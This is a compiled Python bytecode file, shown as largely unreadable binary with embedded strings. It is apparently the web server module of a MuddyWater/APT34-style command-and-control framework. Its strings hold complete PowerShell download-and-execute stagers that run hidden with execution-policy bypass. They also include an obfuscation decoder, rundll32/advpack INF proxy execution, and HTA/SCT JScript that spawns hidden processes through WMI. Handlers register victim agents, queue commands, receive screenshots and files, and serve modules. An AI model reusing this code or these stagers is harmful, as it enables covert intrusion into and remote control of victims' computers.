ó
kþ^c @ sª d d l m Z d d l m Z d d l m Z d d l Z d d l Z d d l Z e e ƒ e j
d ƒ d e j f d „ ƒ YZ d4 Z
d$ „ Z d d5 d% „ ƒ YZ d d6 d& „ ƒ YZ d
d7 d' „ ƒ YZ d d8 d( „ ƒ YZ d d9 d) „ ƒ YZ d d: d* „ ƒ YZ d d; d+ „ ƒ YZ d d< d, „ ƒ YZ d d= d- „ ƒ YZ d d> d. „ ƒ YZ d d? d/ „ ƒ YZ d d@ d0 „ ƒ YZ d! dA d1 „ ƒ YZ d# dB d2 „ ƒ YZ d3 „ Z d S(C iÿÿÿÿ( t web( t config( t bcolorsNs utf-8t
MyApplicationc B s e Z d d d „ Z RS( i s 0.0.0.0c G s( | j | Œ } t j j | | | f ƒ S( N( t wsgifuncR t
httpservert runsimple( t selft portt hostt
middlewaret func( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt run
s ( t __name__t
__module__R ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR s t /t indexs /gett payloads /getct payloadcs /hjft payloadjfs /hjfst
payloadjfss /sctt scts /htat mshtas
/info/(.*)t infos /dl/(.*)t downloads /up/(.*)t uploads /img/(.*)t images /cm/(.*)t commands /re/(.*)t results /md/(.*)t modulesc C sØ d } g } x* t | ƒ d d k r8 | t d ƒ } q Wx… t t | ƒ ƒ D]q } | d t | | ƒ } | d d d k rL x< t d ƒ D]+ } | j t d | d ƒ ƒ | d } q‹ WqL qL W| j ƒ d j | ƒ S( Ni i i i i i( i4 t ( t lent chrt ranget ordt appendt reverset join( t stt valuet encodedt it j( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt toB52 s
c B s e Z d „ Z RS( c C s d S( Ns
Hello.!!!!( ( R ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt GET' s ( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR % s c B s e Z d „ Z RS( c C s3 t j j } d | } t j | t j GHt j ƒ S( Ns [+] Powershell PAYLOAD Send (%s)( R t ctxt ipR t OKGREENt ENDCR t PAYLOAD( R R. t p_out( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, - s
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR + s c B s e Z d „ Z RS( c C s? t j j } d | } t j | t j GHt j ƒ } t | ƒ S( Ns( [+] Powershell Encoded PAYLOAD Send (%s)( R R- R. R R/ R0 R R1 R+ ( R R. R2 R ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, 6 s
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR 4 s c B s e Z d „ Z RS( c C s¯ t j j } d | } t j | t j GHd } d } | j d t j ƒ j d t j ƒ } | j
d ƒ j d d ƒ } | j d | ƒ } | j
d ƒ j d d ƒ } d
| } | S( Ns+ [+] Powershell JOB + File PAYLOAD Send (%s)s $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('http://{ip}:{port}/getc');set-content -path c:\programdata\a.zip -value $S;set-content -path c:\programdata\b.ps1 -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')));Start-Process powershell -ArgumentList "-exec bypass -w 1 -file c:\programdata\b.ps1" -WindowStyle Hidden;start-sleep 10;del c:\programdata\a.zip;del c:\programdata\b.ps1;s $s=(get-content C:\\ProgramData\\a.zip);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));s {ip}s {port}t base64s
R s {payload}so Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('%s')))}( R R- R. R R/ R0 t replaceR t IPt PORTt encode( R R. R2 R t commandF( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, @ s
$
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR > s c B s e Z d „ Z RS( c C s¯ t j j } d | } t j | t j GHd } d } | j d t j ƒ j d t j ƒ } | j
d ƒ j d d ƒ } | j d | ƒ } | j
d ƒ j d d ƒ } d
| } | S( Ns0 [+] Powershell JOB + File +SCT PAYLOAD Send (%s)sƒ $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('http://{ip}:{port}/getc');set-content -path c:\programdata\a.zip -value $S;$S=$V.DownloadString('http://{ip}:{port}/sct');set-content -path c:\programdata\sct.zip -value $S;set-content -path c:\programdata\sct.ps1 -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{payload}')));set-content -path c:\programdata\sct.ini -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('W3ZlcnNpb25dDQpTaWduYXR1cmU9JGNoaWNhZ28kDQoNCltFeGNlbF0NClVuUmVnaXN0ZXJPQ1hzPUV2ZW50TWFuYWdlcg0KDQpbRXZlbnRNYW5hZ2VyXQ0KJTExJVxzY3JvYmouZGxsLE5JLGM6L3Byb2dyYW1kYXRhL3NjdC56aXANCg0KW1N0cmluZ3NdDQpBcHBBY3QgPSAiU09GVFdBUkVcTWljcm9zb2Z0XENvbm5lY3Rpb24gTWFuYWdlciINClNlcnZpY2VOYW1lPSIgIg0KU2hvcnRTdmNOYW1lPSIgIg==')));start-process rundll32.exe -ArgumentList "advpack.dll,LaunchINFSection C:\ProgramData\sct.ini,Excel,1," -WindowStyle Hidden;start-sleep 30;del c:\programdata\a.zip;del c:\programdata\sct.ps1;del c:\programdata\sct.zip;del c:\programdata\sct.ini;s $s=(get-content C:\\ProgramData\\a.zip);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));s {ip}s {port}R3 s
R s {payload}so Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('%s')))}( R R- R. R R/ R0 R4 R R5 R6 R7 ( R R. R2 R R8 ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, P s
$
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR N s c B s e Z d „ Z RS( c C s t j ƒ } t j j | ƒ d k r| d k r| j d ƒ } t j j } | j d | ƒ | j d t j
ƒ t j t j
d ƒ d t j
d | | d | d f } t j
| t j GHt j j i | | 6ƒ t j j i g | 6ƒ t j j i t j ƒ | 6ƒ n d S( Ns **i i s' [+] New Agent Connected(%d): %s - %s\%si i t OK( R t dataR t AGENTSt gett Nonet splitR- R. t insertt COUNTt set_countR R/ R0 t updatet COMMANDt TIMEt time( R t idR: R. R2 ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt POST` s $
( R
R RG ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR ^ s c B s e Z d „ Z RS( c C s¤ yz | j d ƒ j d d ƒ } t d | d ƒ } | j ƒ } | j d ƒ j d d ƒ } d | } t j | t j GH| SWn# t k
rŸ } d t | ƒ GHd SXd S( NR3 s
R s file/t rbs [+] download file %ss [-] Download: (
t decodeR4 t opent readR7 R R/ R0 t Exceptiont str( R t namet fpt fileR2 t e( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, u s
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR s s c B s e Z d „ Z RS( c
C s! t j j } d | } t j | t j GHd } d } | j d t j ƒ j d t j ƒ } | j
d ƒ j d d ƒ } d d
g d d g d
d g d d g d d g d d g d d g d d g d d g d d g d d g d d g g } x( | D] } | j | d! | d" ƒ } qí W| j d# | ƒ S($ Ns& [+] New Agent Request HTA PAYLOAD (%s)sƒ
s«
var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://{ip}:{port}/get'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);
s {ip}s {port}R3 s
R t ]t =t [t at ,t bt @t Dt -t xt ~t Nt *t Et %t Ct $t Ht !t Gt {t Kt }t Oi i s {code}( R R- R. R R/ R0 R4 R R5 R6 R7 ( R R. R2 t codet jst reR) ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, … s,
$
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR ƒ s c B s e Z d „ Z RS( c
C s! t j j } d | } t j | t j GHd } d } | j d t j ƒ j d t j ƒ } | j
d ƒ j d d ƒ } d d
g d d g d
d g d d g d d g d d g d d g d d g d d g d d g d d g d d g g } x( | D] } | j | d! | d" ƒ } qí W| j d# | ƒ S($ Ns& [+] New Agent Request SCT PAYLOAD (%s)s
s
var cm="powershell -exec bypass -w 1 -file c:\\programdata\\sct.ps1";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);
s {ip}s {port}R3 s
R RR RS RT RU RV RW RX RY RZ R[ R\ R] R^ R_ R` Ra Rb Rc Rd Re Rf Rg Rh Ri i i s {code}( R R- R. R R/ R0 R4 R R5 R6 R7 ( R R. R2 Rj Rk Rl R) ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, ¡ s,
$
( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR Ÿ s c B s e Z d „ Z RS( c C s d S( Ns
Hello.!!!!( ( R ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, ½ s ( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR » s c B s e Z d „ Z RS( c C s² t j ƒ } t j j | ƒ d k r® | d k r® | j d ƒ } t d | d ƒ } | j | ƒ | j ƒ d t j | d t j | d t
| ƒ f } t j | t j
GHn d S( NR3 s
images/%s.jpgt wbs( [+] Agent (%d) - %s send image(%s bytes)i i R9 ( R R: R R; R< R= RI RJ t writet closeR R R/ R0 ( R RF R: RO R2 ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyRG Ã s $
/( R
R RG ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR Á s c B s e Z d „ Z RS( c C sÜ t j j | ƒ d k r. t j ƒ t j | /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR, Ñ s 6 ( R
R R, ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR Ï s c B s e Z d „ Z RS( c C sˆ t j ƒ } t j j | ƒ d k r€ | d k r€ | j d ƒ } d t j | d t j | d f } t j | t j GH| GHn d Sd S( NR3 s [+] Agent (%d) - %s send Resulti i Rq (
R R: R R; R< R= RI R R/ R0 ( R RF R: R2 ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyRG á s $&( R
R RG ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR ß s c B s e Z d „ Z RS( c C sÀ t j ƒ } t j j | ƒ d k r¼ | d k r¼ d | t j | d t j | d f } t j | t j GHy1 t d | d ƒ } | j
ƒ } | S| j ƒ Wq¼ t k
r¸ } | GHd SXn d S( Ns) [+] New Agent Request Module %s (%s - %s)i i s Modules/t rR R9 (
R R: R R; R< R= R R/ R0 RJ RK Ro RL ( R RF R: R2 t fpmt moduleRQ ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyRG ï s $) ( R
R RG ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyR í s c C sd y; t t j _ t t t ƒ ƒ } | j d t t j ƒ ƒ Wn" t
k
r_ } d t | ƒ GHn Xd S( NR s [-] ERROR(webserver->main): %s( t TrueR R t log_toprintR t urlst globalsR t intR6 RL RM ( t appRQ ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt main s ( R R s /getR s /getcR s /hjfR s /hjfsR s /sctR s /htaR s
/info/(.*)R s /dl/(.*)R s /up/(.*)R s /img/(.*)R s /cm/(.*)R s /re/(.*)R s /md/(.*)R ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( t libR t coreR t
core.colorR RE R3 t syst reloadt setdefaultencodingt applicationR Ry R+ R R R R R R R R R R R R R R R} ( ( ( s> /home/darkz3ro/Documents/OP-APT34/MuddyWater/core/webserver.pyt s2